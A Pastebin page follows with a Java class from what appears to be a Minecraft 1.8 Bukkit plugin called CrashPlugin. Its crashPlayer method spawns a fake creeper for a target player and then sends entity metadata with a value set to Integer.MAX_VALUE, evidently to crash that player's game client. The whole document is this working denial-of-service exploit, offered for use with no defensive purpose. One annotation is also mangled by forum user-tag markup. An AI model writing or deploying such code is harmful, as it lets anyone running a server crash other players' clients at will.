Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import org.bukkit.Bukkit;
- import org.bukkit.entity.Player;
- import org.bukkit.craftbukkit.v1_8_R3.entity.CraftPlayer;
- import me.rida.crashplugin.CrashPlugin ;
- import net.minecraft.server.v1_8_R3.DataWatcher;
- import net.minecraft.server.v1_8_R3.EntityCreeper;
- import net.minecraft.server.v1_8_R3.EntityPlayer;
- import net.minecraft.server.v1_8_R3.PacketPlayOutEntityMetadata;
- import net.minecraft.server.v1_8_R3.PacketPlayOutSpawnEntityLiving;
- public class CrashAPI1_8 {
- private static CrashPlugin main;
- public CrashAPI1_8(CrashPlugin main) {
- this.main = main;
- }
- public static void crashPlayer(Player p) {
- final EntityPlayer px = ((CraftPlayer)p).getHandle();
- final EntityCreeper entity = new EntityCreeper(px.world);
- final DataWatcher dw = new DataWatcher(entity);
- dw.a(18, (Object)Integer.MAX_VALUE);
- PacketPlayOutSpawnEntityLiving packet_spawn = new PacketPlayOutSpawnEntityLiving(entity);
- px.playerConnection.sendPacket(packet_spawn);
- Bukkit.getScheduler().scheduleSyncDelayedTask(main, new Runnable(){
- [USER=32110]@Override[/USER]
- public void run() {
- PacketPlayOutEntityMetadata meta = new PacketPlayOutEntityMetadata(entity.getId(), dw, true);
- px.playerConnection.sendPacket(meta);
- }
- }, 5L);
- return;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment